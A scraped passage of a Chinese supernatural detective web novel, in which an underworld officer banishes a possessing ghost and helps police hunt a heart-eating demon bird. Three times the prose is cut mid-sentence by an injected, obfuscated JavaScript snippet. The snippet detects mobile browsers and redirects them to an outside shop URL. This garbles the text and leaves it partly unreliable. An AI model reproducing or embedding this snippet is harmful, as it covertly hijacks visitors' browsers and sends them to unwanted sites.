二楼传来脚步声,陈遇冲声音的方向看过去,见到了一个意料之外的人——时青寒。 这孩子怎么在这儿?体育馆不是清场了吗?! 时青寒却没看他,紧盯着“祝盈安”。 恶鬼被那火焰灼烧地痛极了,这到底是什么火?竟能对魂魄起效? “你,是谁?”“祝盈安”的声音扭曲。 时青寒没说话,双手做了个复杂的手势,金色咒文一直从脖子爬上脸庞,她口中念念有词。 “巫神在上,请听我愿;借汝天火,焚鬼除恶!” 她要借巫神之力,引来天火,烧死这恶鬼! “祝盈安”僵硬惨白的脸上浮现出凄厉的笑容,阴测测开口:“雕虫小技!” 话音刚落,“祝盈安”便伸手凝聚黑气,招来阴风。阴风从她身边刮起,生成一个漩涡。 随着“祝盈安”手上的动作,漩涡越来越大,整座体育馆都开始摇晃起来,凡是能动的东西,都在漩涡中飞舞。 那一圈天火,随风摆动。 阴风越来越大,时青寒几乎站不住脚,旁边传来“咔嚓”声,她震惊地扭过头! 只见原先倒在地上的篮球架,直接被这阴风吹得拔地而起,直冲她所在方向飞来。 时青寒的施咒被迫中断,脸上的金色符文缓缓褪去,围着“祝盈安”一圈的天火,火焰也越来越小。 她移步想跑,刚跑了两步,整个人就被阴风漩涡卷走,不受控制地飘在空中。 “祝盈安”踏出火圈,残忍地笑道:“小娃娃,这可是你自己来送死的!”她说罢,一抬手,阴风漩涡瞬间停止,浮在空中的东西噼里啪啦掉落。 时青寒从高空中坠下—— 千钧一发之际,有个声音缓慢道:“气引八方,万物归一,止!” “止”字落下的瞬间,体育馆内忽然变得很安静,没有风声,没有撞击声,没有人声,时间被无限拉长,周遭仿佛静止一般。 陈遇瞪大了双眼! 时青寒保持着下坠的姿态。 “祝盈安”则惊讶回头,从她的脸上,竟然看出了不可置信。 怎么可能? “恶鬼,念在你不认识我的份上,让你做个明白鬼。” 不远处,凌初魂魄在倒下的身体旁凝聚起来,先是一双官靴,然后是烈烈红袍,最后是一张冷漠的脸。 这才是东岳阴司阴差——凌初的真身。 凌初伸手,一柄银白长剑出现,她举起剑,一步一步朝“祝盈安”走过来。 “祝盈安”的身体因凌初魂魄散发出的巨大威压抖如筛糠,他想逃,却移动不了半分。 “我可是从无间地狱出来的万鬼之王——凌初!” 凌初站在“祝盈安”面前,眼神冷漠,长剑架到他脖子上,“是谁把你招来的?” “祝盈安”笑得恶劣:“我啊,是他们人,亲自招来的恶鬼。” 剑刃划过,没有血迹,鬼魂是不会流血的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362748|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黑气从“祝盈安”伤口出溢出,恶鬼魂魄开始消散。 “凌初,昼生大人很期待跟你相见的那一天。” 凌初听到这句话,猛地掐住恶鬼头颅,咬牙切齿:“昼生?他在哪里?躲躲藏藏有什么意思!” 恶鬼没有回答凌初,直到魂飞魄散的最后一刻,也没有回应。 凌初收起长剑,几步来到陈遇面前,伸手在他眼前抹了下。 看到眼前突然出现凌初,陈遇身子往后一仰,被吓了一大跳,随后便是十足的庆幸:“凌初,你没死真是太好了?!” 凌初看他像在看一个傻子,“陈队,我是阴差,本就是死人,已经死得不能再死了。” 陈遇:“……哦。” “你去那边,把时青寒接住。” “好。那你呢?” 凌初指了指胸口尚未愈合的痕迹,“我得回阴司一趟,这恶鬼的匕首不知道是什么做的,可伤魂魄。” “那你还会回来吗?” “当然!不过在此之前,得先善后。书生,出来帮忙,别装死!” 梦书生不情不愿地从凌初衣袖上的树叶暗纹钻出来,清理现场。 …… 红旗分局在市一中的青少年犯罪心理讲座,圆满完成。 从一中回来后,凌顾问请了长假,说是回老家。 一中那边,体育馆恢复如新。 祝盈安,在梦书生的掩饰下,回到家才失去了呼吸。 陈遇坐在办公室,面前放了一沓空白稿纸。 他已经枯坐了半个小时,关于子弹的情况说明仍未写一字。脑海里一直徘徊着当日凌初倒下的身影,她脸上的表情、身体的动作都清清楚楚烙印其中。 “咚咚!”有人敲门,是赵凭跃。 “陈队,祝盈安的父母已经带过来了。” “好,请他们到询问室。”陈遇丢下笔,站起身,和赵凭跃一起去见祝盈安的父母。 询问室,祝父与祝母惴惴不安地坐在椅子上,听到开门声,惊慌失措地抬起头。 他们很紧张。这是陈遇见到祝父与祝母的第一印象。 “二位好,找你们过来是有一些事情请教。”陈遇先开口。 “什、什么事?”祝母答。 陈遇示意赵凭跃把调查得来的信息递给对方,在对方看调查文件的时候,他说:“根据我们的调查,二位的女儿祝盈安同学,自幼患先天性心脏病,是医院的常客。那么请告诉我,祝盈安是怎么在医院下达病危通知书后仍然活蹦乱跳地上了一个月学?” “……”祝父、祝母沉默以对,这是无声的拒绝。 陈遇从文件中抽出一张监控截图,甩到二人面前,身体前倾,目光充满压迫性,“好。这一张,你们这些天频繁出入这个地方,是什么原因?” 祝父、祝母脸上露出惊讶,似乎非常震惊警察是怎么找到这个地方的? 照片上的地方是一家卖茶叶的商铺,所处位置很偏僻,人流量也不多。商铺开在这种地方,只能是干赚吆喝,挣钱?门儿都没有! 这茶叶店有鬼! 可惜陈遇去晚一步,到了茶叶店后,已经人去楼空。好不容易找到房东,拿出租赁合同,却发现合同上租房人的信息竟都是假的? 房东都懵了,骂道:“真是见鬼了!” 39. 巧舌如簧 “真是见鬼了!” 房东一句话点醒梦中人,陈遇想:也许,是真的有鬼。于是他将祝父、祝母传唤过来,询问事情的真相,但眼下看来,他们拒绝配合。 陈遇也不急,正常手段查清不了事实,还有非正常手段。 敲门声再度响起,李善言带着新城市城隍庙凌虚道长走进来。 陈遇和赵凭跃站起来,和李善言一同离开,只留凌虚道长一人面对祝父、祝母。 “拜托了,凌虚道长。” “放心,包在我身上。” 几人在门外等了十分钟,凌虚就推门出来了,脸色不太好,紧皱眉头。 “怎么了?”李善言忍不住问。 “喏!”凌虚拍给他一张纸,纸上有幅男人的肖像,打扮得像个道士。 他走到陈遇面前,“陈队,这人应该是个道士,有些真本事不假,但是走了歪路。” “什么意思?” “这道士当时在街上偶然见到了祝盈安,看出了她命数将尽,于是顺藤摸瓜找到里面两个人,问他们想不想女儿活下去。 两人一听就同意了,给了这道士10万元,道士作法,帮他们女儿延长寿命。” “但没想到,这道士使用的并非是延长寿命的法术,而是招来鬼魂,附身在祝盈安身上。对吗?” 凌虚露出惊奇的目光,“哎?陈队,你怎么知道?” 所以事实如凌初所料,是有恶鬼附身。 “这个人你认识吗?”陈遇指着李善言手中肖像问凌虚。 凌虚摇头,“不认识。省内是没有这个道士记名的,至于全国,我回去问问全国道协负责人。” 李善言恍然大悟道:“那他不就是个野道士?” “好,我知道了。谢谢凌虚道长,这个人我们会查的。” 凌虚点头,然后拉陈遇走到一旁,悄声问:“这事儿你直接问阴差不就好啦?用得着这么大费周章?” 陈遇沉声回答:“她回阴司了。” “啊?” 陈遇说完便转身,“赵凭跃、李善言,你们去给祝父、祝母做笔录。” “是,陈队。” 陈遇说完便回办公室补情况说明了,凌虚直接“哎哎哎,你怎么走了啊?事情还没说清楚呢!” “李善言,送下凌虚道长。” “好——” 凌虚气得在“跨界执法”群里大骂。 最帅道长:【@陈遇,你把事情说清楚啊!】 最帅道长:【哼!堂堂刑侦大队队长,请人过来帮忙连个谢谢也不说!】 最帅道长:【没礼貌!】 最帅道长:【没素质!】 钱纫兰:【……别在正事群里发癫。】 青阳李氏-李蒙:【同意+1】 龙阅阅阅阅:【同意+1】 在下欧阳彤:【……】 是小寒不是大寒:【……】 建国寺心严:【阿弥陀佛表情(双手合十)】 “啊啊啊啊……”凌虚跺脚大叫,被气得吹胡子瞪眼! 赵凭跃和李善言莫名其妙地盯着他看。 “哼!”凌虚气呼呼走了。 …… 东岳阴司,轮回司,凌初坐在孟婆为她准备的客房中。 孟婆面露担忧,看着凌初身上的伤口,“凌初,你怎么弄的?”伤她的到底是什么法宝,竟能对魂魄起效? 凌初闭眼打坐,听到孟婆的话后掀起眼皮,“不小心被恶鬼阴了一把。”她低头看向自己的伤口,想起神魂的遭遇,疑惑重重。 那种感觉既熟悉又陌生,熟悉的是那恶鬼凝聚而成的匕首气息,陌生的是魂体被贯穿的感觉。 最奇怪的是,她的魂体被贯穿后,魂魄虽立即消散,但她的法力并没有因此流失,所以很快便重聚了魂体。 正因如此,那恶鬼见到她魂魄重聚时才会如此震惊。 为什么呢?凌初百思不得其解。 她伸手触碰那伤口,意外发现那伤口周围弥漫的黑气竟然主动缠绕上她的手指,显得十分亲昵。 “???”孟婆大跌眼镜,“这、这、这什么玩意儿?竟然耍流氓!” “……孟姐——”凌初无奈叫了声。 孟婆讪笑,伸出指尖凑上去,结果还未碰到凌初的手,就感受到一股子恶寒,直冲天灵盖。 她飞快地缩回手,心有余悸地盯着凌初指尖上的黑气。这种感觉,是来自无间地狱的气息。 凌初奇怪地瞧了她一眼,问道:“孟姐,你怎么了?” 孟婆摇头,“无事。你好好休息,我先去忙了。” “好。” 出门后,孟婆回到前殿,坐在书案后沉思。 “刺伤凌初的恶鬼,难道是来自无间地狱的?”孟婆自言自语,说完又否定了这个猜想,“不会,无间地狱逃出的恶鬼只有一个,那鬼的实力在凌初之上,绝不是他。” “那便是他控制了那只恶鬼接触凌初!”孟婆向来多情妩媚的眼眸陡然犀利起来,她从未忘记过凌初也是从无间地狱出来的鬼。 这只恶鬼来找凌初,肯定不是为了叙旧。 那是为了什么?杀了凌初?还是试探她? “孟婆大人,拘魂使求见。”有鬼卒进来通报。 “哪位?” “鸟嘴大人。” “让她进来。” “鸟嘴参见孟婆。”鸟嘴穿一身五彩衣裙,摇曳着身姿走进殿门。 “拘魂使来老婆子我这儿,是有什么事?”孟婆客气道。 “孟婆大人,我来找凌初。” “……”孟婆没说话,她记得凌初来轮回司没惊动任何鬼神,鸟嘴怎么知道?她很谨慎地说:“那你该去阴律司找她,我这儿可没。” 鸟嘴笑了笑,从袖中抽出一根彩羽,熠熠发光。 见孟婆不解,她才开口:“孟婆大人,我们飞禽有一寻鬼秘法,在对方身上留下一点印记,只要这根彩羽离他距离够近,便会发光。” 孟婆:“……”阴司的这只鸟嘴,脑子还怪灵光的。 “后殿右厢房,请自便。” “多谢孟婆大人。”鸟嘴躬身一礼,施施然走出,去寻凌初。 …… 房间内,凌初闭目小憩。 阴司没有白天黑夜之分,向来都是灰蒙蒙的,鬼神亦不知疲倦。 凌初眼睛虽闭上了,但神魂时刻警觉着。 鸟嘴踏进轮回司后殿的那一刻,凌初就睁开了眼,而鸟嘴亦未刻意隐藏自己的气息。 她敲门而入,看着榻上的凌初,似笑非笑道:“抓着‘祝盈安’身上的鬼了?” “嗯。已经魂飞魄散了。”凌初翻了个身,背对着鸟嘴。 鸟嘴坐到床边,“是嘛?那可多谢凌大人了。”随后不经意道:“我引渡鸟魂回来时见到了白无常。” 凌初“噌”一下就坐了起来,转过头来赔笑:“鸟嘴大人都知道了啊?” 鸟嘴点头。 “唉,鸟嘴大人您不知道,我好不容易攒钱买的房子被阎罗殿拆了,如今要攒钱买房,所以……” 鸟嘴嗤笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381905|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,替她说出了后面的话,“所以狮子大开口敲诈我一笔?” “嗐,说这么难听干嘛?我这不是为了表达对你交代的事情的重视嘛。”凌初义正辞严。 “呵!巧舌如簧的小鬼。”鸟嘴笑骂,“行了,给出去的东西,断没有收回的道理,我不与你一般见识。” “大人所言极是。” “但是,两千个金元宝也不是那么好拿的!凌初,本大人要你捉住鬼雀,亲自押到我面前。”鸟嘴厉声道,可见她这次是真的动怒了。 人间鸟儿惨死鬼雀手中,她作为飞禽拘魂使,定要为死去的鸟儿们讨个公道! “得嘞!”凌初爽快地答应了,不答应的话她怕鸟嘴找自己要钱,要钱就是要她的命啊——绝对不可以!!! 鸟嘴见她答应得这么快,颇有些意外,从袖中掏出一根纯黑色的尾羽,递给凌初,说:“这是我从十大阴帅殿里翻出来的鬼雀尾羽,你可以凭这根尾羽找到鬼雀。” 凌初先观察了一番,也没发现有什么特别之处。于是便接过来,“嘶——”她感受到来自极阴之地的寒气,冻得她神魂都冷飕飕的。 寒气彻骨,她牙齿都打起寒颤来,“鸟、鸟嘴大人,这根尾羽这、这么冰啊!” 鸟嘴这才画个阵法,封印了鬼雀尾羽的极寒之气。 凌初缓了好半天才缓过来,将这根鬼雀尾羽收入怀中,“那我怎么将鬼雀带回阴司,鬼雀身上不会也这么冷吧?” “鸟笼不是留在你那儿了嘛。”鸟嘴冷静道,“那鸟笼是万年桃木所制,可束缚世间飞禽。” 万年桃木? 这么久啊。 凌初暗暗心惊,原来那鸟笼渊源这么厉害,于是答:“原来如此。” “好,我在阴司等你的好消息。”鸟嘴朝凌初点了下头,离开轮回司。 “鬼雀——” …… 赵凭跃和李善言做完笔录后便送走了祝父、祝母,然后找张小曈调取人口信息。 调出信息后三个人都傻眼了,电脑上显示的居民信息页赫然有一条,注销原因:因病死亡。 嫌疑人三年前就死了??? 张小曈鸡皮疙瘩都起来了,“我去,邪了门啦,这人怎么回事?” 赵凭跃眉头紧皱,死人?难道是双胞胎兄弟? 李善言面上保持平静,实则内心翻起滔天巨浪,“不是吧,不会又是阴司十八层地狱逃出来的恶鬼吧?” “小曈,查他的亲属关系,有没有双胞胎兄弟?”赵凭跃说。 “噢,对。”张小曈也反应过来,立刻查询嫌疑人身份信息,几分钟后,失望地看着电脑屏幕。 “我去跟陈队说。”赵凭跃转身往大队长办公室走。 “陈队!”陈遇刚好出门,见到赵凭跃示意他先等下,“办公室等我。” “好。” 陈遇把情况说明交上去后,路过法医室,被霍熹一把拉进去。 “???”陈遇一脸懵逼地靠着墙。 霍熹逼问他,“凌初到底是什么人?你们调查过她的真实身份吗?” “为什么这么问?”陈遇冷静反问。 霍熹气笑了,回身把桌子上的一沓检测报告拍到陈遇怀里,“你自己看看,八十九只死鸟,没有检测到任何人类指纹!” “没检测到人类指纹不是很正……”陈遇突然闭嘴,他想起来,凌初拿手碰过鸟尸! “哦?看来你对这个事实一点都不意外啊,陈遇,你最好跟我交代清楚。否则,这报告我现在就给魏局送过去!”霍熹冷冷开口。 40. 你暴露了! 陈遇一时不知道该怎么跟霍熹说,说什么?说凌初其实不是人?说这个世界并不是她以为的那样唯物?他敢保证,只要他说出口,霍熹立马就会联系她精神病医院工作的同学过来把他带走。 见陈遇一脸纠结和无奈,霍熹直接拖过来两把椅子,“坐,给我说清楚。凌初到底是什么情况?通缉犯还是黑户?” “凌初的事情有点复杂,到时候叫她自己跟你解释,行不?” 霍熹:“……”她充满怀疑地看着陈遇:“你不会是在敷衍我吧?” “霍法医,我在你这里的可信度就这么脆弱吗?” 霍熹瞅他一眼,妥协了:“……行叭,她什么时候回来?” “我不知道。她出了点事情,需要休养。” “嗯?”霍熹发出一声疑问,眼睛眯起来,这厮逗我玩儿呢?! 陈遇趁她不备,立刻起身绕过霍熹,快走几步打开法医室的门,临走时特地强调:“霍法医,等凌初回来后我让她过来给你解释。” 霍熹:“……跑得真快!” …… 陈遇回到办公室,赵凭跃见到他连忙站了起来,汇报情况:“陈队,凌虚道长给的肖像上的嫌疑人,三年前就已经死了。” 陈遇脚步一顿,继续往座位走,“其他还有什么?” “嫌疑人并没有双胞兄弟,也没有子女。”换句话说,是孤家寡人。这样的人,想调查他生前社会关系会很困难。 这就表明,祝父、祝母遇见的这个野道士,可能不是活人。陈遇坐下来,拿出手机给凌虚发了个微信信息。 陈遇:【凌道长,野道士的身份不用问道协了。】 最帅道长:【???为啥?】 陈遇:【我们同事调取了他的身份信息,是个死人。】 最帅道长:【!!!那对夫妻见到的是鬼?】 陈遇扣上手机,不再回复。 一个电话直接杀过来,陈遇接听,对面连珠炮似的说了一串:“陈队长,你这话说一半留一半的习惯真的很烦人!把事情说清楚,野道士不是活人,那就是鬼啦!” 凌虚的嗓门极大,通过电话传出来,整个办公室都能听到。 陈遇举着电话,一边看向赵凭跃,一边回:“对。” “那你们怎么抓他?放任恶鬼行走世间,后果不堪设想。”凌虚的声音陡然沉下来,语气严峻。 “我们会想办法的。” “行,我也会让人注意的。”凌虚表了态。 “多谢。” “喔,对了,阴差是怎么回事?凌……”陈遇挂了电话,没让凌虚把话说完。 凌初坐在车后排,看着熄灭的手机屏幕,铁青着脸,“嘿——这小子儿怎么回事!不听人说完就挂电话,太没礼貌了……” 司机兼大徒弟:“……” 办公室里,陈遇让赵凭跃坐下来,“没什么要问我的?” 赵凭跃慎重地回答:“陈队,有些事情,你决定告诉我的自然会告诉我,不告诉肯定也有不告诉的理由,我听你安排。” 果然是高材生,觉悟就是不一般。 陈遇颇为欣赏地点点头,“这事情我会安排,你先出去吧。” “好的,陈队。” “怎么说怎么说?”李善言和张小曈一见到赵凭跃出门就围了过来。 赵凭跃摊手:“听组织安排。” “就这?”张小曈失落地坐回椅子上,“这都是非自然事件了吧,陈队怎么这么淡定啊?!”说实话,她看到人口信息时心里都有点发毛。 赵凭跃不语,心说更离谱的事情我还没跟你讲呢! “小李同志,你怎么不说话?”张小曈扭头问李善言,这么沉默不像他的风格。 李善言心不在焉地点点头:“哦,那就听组织安排呗。” “……没意思。”张小曈看向对面的空位,桌面干干净净的,没有任何属于凌初的私人物品,乍一看就跟这位子从没来过人似的,她喃喃自语:“唉,也不知道凌初姐什么时候回来?” 是啊,她什么时候才回来啊?李善言默默重复,刚说完脑海里便响起熟悉的声音:“小李子,有事找你,空的话吱个声?” “吱——”李善言迅速答。 “……你下班后去我住处,看有没有一个鸟笼,如果有的话帮我放好。” “鸟笼?你打算养鸟吗凌初姐?”李善言不解。 “……不是,这鸟笼是抓鬼雀,嗷,就是抓剖杀鸟尸凶手的法器。” “好!对了,还有个事跟你说一下。” 凌初问:“什么?” “祝盈安父母承认为其招魂,并说教授他们招魂之法的人是一个野道士。但那野道士我们查过了,是个死人。” “哦?死人?有鬼附身?”凌初立刻想到了这一点。 “或许是。”李善言也不敢肯定,他毕竟不是专业人士。 “知道了,等我回来。”凌初掐断了神识联系。 “唉???”这挂得也太快了,李善言吐槽。等到下班,他从凌初座位的抽屉里找出钥匙,直奔分局家属院,乘电梯上了十八楼,一出门就看到了熟悉的人影徘徊在1801号房间门口。 “哟,霍法医,好巧啊!”李善言摆手打招呼。 霍熹:“……” 李善言走上前,问:“你找凌顾问有事?” “没有,我来找陈队。”霍熹还是有些怀疑凌初,决定亲自过来看看,但来得实在不巧。 “哦,陈队住隔壁。”他来到凌初房门前,掏出钥匙准备开门。 “!!!”得来全不费工夫。 霍熹装模作样地去敲陈遇的门,见李善言把凌初房门打开,脚步一点点挪过去。 “吱呀”一声,隔壁门开了,陈遇出现。 “不是,你今天没加班?也没回自个儿家?”霍熹很意外,加班狂魔竟然不加班了??? 陈遇一副了然的神情,波澜不惊地看向霍熹,“你果然放不下。” 废话!堂堂法医,一个小小的DNA检测都检出了问题,这简直是在侮辱她的专业能力! “既然有人开门,那就一起进去看看吧。”陈遇朝霍熹做了个“请”的手势。 李善言把阳台上的鸟笼提进屋里,一回头看到两个人并排走进来,不是,他们怎么进来了啊? 三个人面面相觑。 梦书生在外面浪够了,哼着小曲回来,一鼓作气从一楼飘了上来,找到十八楼凌初房间的窗户,穿玻璃而过。 刚飘进来就愣住了,啥情况?警察聚会呢? 李善言看到他进来,脸上表情差点维持不住。我去,这鬼不是跟着凌初姐的嘛,没一起回阴司? 梦书生也不认生,自顾自坐到沙发上,一副看好戏的样子。 李善言调整好表情,对着霍熹和陈遇说:“二位领导,有事儿?” “有!”霍熹直截了当地说,紧接着就从口袋里掏出了一次性橡胶手套、试纸、证物袋等东西。 李善言瞠目结舌,看霍熹一副调查取证的架势,才低声问陈遇,“陈队,霍法医这是要干嘛?” “很明显,调查取证。” “我知道是调查取证,但是为什么啊?” 陈遇将霍熹的发现讲给李善言,给他听得一愣一愣的,恨不得立马联系凌初,大喊“你暴露了!” 两个男人看霍熹一点一点提取凌初有可能留下指纹或者DNA的地方,过了半个小时,霍熹将所有样本封好带走。临出门时,她伸手重重点了点陈遇,“等你们给我一个交代。” “……行。” 霍熹一出门,李善言就急不可耐地轻扣太阳穴联系凌初,“凌初姐、凌初姐,你在吗?” “干嘛?”凌初走在回程的阴路上。 为什么回来?原因无他。 孟婆见她伤口没那么严重,待在轮回司无所事事,看不惯便直接把她撵出来了。凌初也不愿意回阴律司,更不想去看自己房子那儿的破砖烂瓦,遂决定回阳间。 “你暴露了!霍法医没在鸟尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399355|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上检验出你的指纹,现在怀疑你——不是好人。”他换了个委婉的说法。 “指纹?”凌初看向自己的指尖,她确实没想过这个问题。 这身体是她自己的身体,崔判在生死簿上留了姓名,因此才能在活人的公安系统中查到她的身份信息。但指纹这个要求,实在太苛刻了,况且,她也不知道自己有没有指纹这种东西? “凌初姐?”李善言没听到她回应,试探着喊了一句。 “我在,陈遇怎么说?” “陈队?”李善言看了陈遇一眼,“啊,这个嘛,他没跟霍法医说你的真实身份,等你自己回来说。” “知道了,我稍后便回。”凌初加快脚步。 “好!” 陈遇走到门口,看向还站在原地的李善言,眼神不善,“还不走?”赖在女孩子房间算怎么回事? 李善言回神:“噢噢,走走走!” …… 凌初说到做到。 陈遇隔天一开门便碰到了她,“你没事吧?”他眼神瞥向凌初胸口受伤的位置,然后又觉得不妥,目光游离。 “无碍。”凌初答,伤口虽没长好,但并没有什么不适,她跟陈遇一同站在电梯门前,“霍法医很厉害,我要好好想一下怎么跟她解释。” “抱歉,是我的疏忽。”陈遇和凌初走进电梯。 “不怪你,陈队,是我自己不小心。”凌初很意外陈遇竟然会给她道歉?看到他的目光,她顿悟,原来是因为市一中捉鬼的那件事。 “陈队,捉鬼是我作为阴差的分内之事,你不用愧疚。”凌初挑明了陈遇的不自然。 陈遇低着头,闷声道:“多谢你救了我。” “小事,不用在意。”电梯停到一楼,两人一前一后走出。 来到分局,凌初直接去了法医室。大门开着,只见到吴优和胡扬低头忙碌,她敲敲门,“霍法医呢?” 吴优抬头,“噢,凌顾问啊。老大今儿请假了,说是家里有事。” “知道了,谢谢你,小吴法医。” 吴优羞涩一笑。 待凌初回到位子上,逐一跟张小曈、赵凭跃和李善言打了招呼,陈遇神情凝重地走了过来,“凌顾问、李善言,跟我出外勤。” “是!陈队。”李善言应道。 陈遇开车带着凌初和李善言出了分局大门。 李善言看到经过的路标,发觉不太对劲,于是问:“陈队,咱们去哪儿啊?” “御景华庭。” 御景华庭,是新城东郊一个很出名的别墅区,以小区内的景观闻名,环境清幽雅致,非常适宜老年人居住。 “那片不归我们管吧?”李善言脑子里勾勒出红旗分局的管辖范围,御景华庭刚好位于红旗分局与经开区交界处,以往案件都是经开分局管的。 陈遇打方向盘,绕了个大弯,“霍熹家里老太太喜欢养鸟,但今天一早起来,发现养的鸟都死了。” 凌初不语,李善言先是震惊,然后萌生出一个很离谱的想法,“陈队,那些鸟不会也被剖心了叭?” “恭喜你,答对了,但是没有奖励。”驾驶座的人面无表情道。 李善言:“……”我这破嘴呀! 陈遇透过后视镜观察后排的凌初,凌初不知从哪里摸出一根黑色羽毛把玩,见陈遇看她,主动说:“这是鬼雀的尾羽,可以找寻它的踪迹。” “鬼雀?”陈遇没明白。 “就是剖心的嫌疑人,千年前已经灭绝的妖物。” “妖物?”陈遇重复一声,最近是怎么了?恶鬼游荡人间也就罢了,现在连灭绝的妖物都出现了,难道还要把中国神话故事演一遍?“那鬼雀长什么样?怎么找到它?” “阴司《万妖志》记载:极阴之地,有兽,状如巨鸟,叫声如婴,性凶残,喜食心,谓之‘鬼雀’。”凌初将谢必安查到的消息说了出来,又举起那根羽毛,“具体怎么找嘛?不知道!” 鸟嘴只说,有这根尾羽,一定能找到鬼雀。 可没说怎么找! 41. 鬼雀 一行三人很快便到了御景华庭小区门口,霍熹已经在等着了。 凌初从车上下来时,霍熹的瞳孔猛地一缩,她回来了?接着视线转向陈遇,眼中是明晃晃的质问:你怎么把她带来了? 陈遇扬眉不语,心道:这种事情不带她还真不行。 他走到霍熹面前,正准备开口:“霍……” “霍法医,我一会儿就跟你解释我的情况。”凌初打断陈遇的话,对着霍熹莞尔一笑。 霍熹:“……”行,我等着。 李善言见三人之间气氛不太对,忙打了个圆场,“霍法医,咱们去看看案发现场吧?” “好。”霍熹转身走在前头,给三人领路。 走进小区大门,第一个看到的东西是一块巨大的石头影壁,不知是请哪位雕刻家刻了“御景华庭”四个大字,转过影壁,面前出现了一泓清泉,泉水中游鱼相戏。 经过清泉后,是一条主干道,与各条小路相连,通向不同的人家。 几人走在主干道旁的人行道上,一时间无人说话。 凌初打眼一看,这小区装修得不一般,木、土、水、金,布置暗含五行八卦,是个不错的风水局。 照理说,有风水局坐镇,鬼雀应该进不到这小区内,为何…… 又跟着走了一段路,朝南拐了个弯,凌初就看到道路的尽头,有几名工人开着工程车,正在挪动一座石头做成的日晷。 凌初:“……”南方,日晷,离火已破,怪不得鬼雀能进来!“霍法医,那日晷为什么要搬走?”她开口问霍熹。 霍熹朝那边看了一眼,道:“不知道。”她不经常来这里,只有逢年过节或者老太太喊她时才会来这里,所以她也不清楚这日晷是什么时候准备搬走的。 走得近了,几人问到了空气中漂浮的淡淡血腥气。 霍熹停到一户门前,推开门,“到了。” 一进院子,就看到廊下摆了一排死去的小鸟尸体,有八哥、鹦鹉、文鸟、鸽子等等好几种,死状是一样的惨烈。 陈遇走上前,戴上手套逐一检查小鸟尸体,每一只,都被剖了心。 凌初的目光从小鸟尸体上扫过,霍熹就是在这时走到她身边,冷不丁开口:“凌顾问,你没发现有什么不对吗?” “?”凌初面露疑惑。 “有只和尚鹦鹉逃过一劫。”霍熹解释道。 凌初突然反应过来,“乐水花鸟市场买的那一只?” “对。” 不对劲儿!这么多鸟鬼雀都杀了,怎么会单独留下那一只?“在哪儿?”凌初问。 “屋里。”霍熹抬手指了指屋内。 “霍法医,麻烦你带我去看看。” “行。” 霍熹带着凌初进入房间,刚一进去,凌初就感受到了一丝不寻常的气息。 两人上了三楼,霍熹推开阳台玻璃房房门,屋内有一排栏杆,最中央挂着一个鸟笼,鸟笼内有只鹦鹉背对着大门。 听到门开的声音,那鹦鹉转过身,双眼通红,见到凌初,当即尖啸一声,一道黑气从它口中射.出,凌初眼疾手快地推了霍熹一把。 霍熹背撞到墙,吃痛“嘶”了一声。 凌初旋身躲过那道黑气,五指张开,疾步上前来抓这只怪鸟。结果还没到跟前,只见鸟笼内和尚鹦鹉射.出黑气后,身体便软趴趴地倒在鸟笼中,生气全无。 同一时刻,一道黑影出现在天边,朝凌初所在的位置飞来,它感受到了最后一根尾羽的气息。 …… 新城高铁东站,一男一女从车站走出。 “谢谢,不用。”两人躲过揽客的出租车司机们,按照指示牌,来到了公交车站台候车。 女的一头黑发,穿着红色风衣,身材凹凸有致,脸上却戴了墨镜,叫人无法看清样貌。身旁的男人个子稍高些,一身正装,俊脸上架着一副金丝眼镜,正低着头认真听女人说话。 “东方青,你确定我要找的东西在这里?”女人红唇轻启。 东方青微微一笑,“当然。” 女人转过头,用手调整了下墨镜,干脆道:“最好如此。”然后不再言语,抱臂等候。 东方青的脸上有一瞬间的尴尬,眨眼便消失不见,露出苦笑。华南新来的这位队长,性子真是利落得很! “嘀嘀——”公交车来了,女人率先上车,东方青紧随其后。 …… “凌顾问,那黑气是怎么回事?”霍熹走进屋内。 凌初绕着房间走了一圈,没有发现其他异常,便提起和尚鹦鹉的鸟笼,准备下楼。听到霍熹的问题,她轻笑道:“霍法医,这黑气是一只妖物为我留下的陷阱。” “妖物?”霍熹迟疑,“那你是谁?” “东岳阴司的阴差。”凌初淡定回答,见她没反应过来,补充道:“唔,就是你们活人常说的黑白无常、牛头马面,这你总该知道吧?我跟他们是同事,只是职责不同。” 黑白无常?牛头马面? 霍熹仿佛遭遇晴天霹雳,这意思就是,凌初不是人,而是鬼?! 凌初说完就踩着楼梯下楼了,霍熹消化了好一会儿,才下了楼。 她下楼后没看到凌初身影,见陈遇和李善言正坐在院子里,一人拿一瓶水喝着,脚旁边是一个塑料箱,霍熹转头看去,廊下小鸟们的尸体已经不见了。 “凌初呢?” 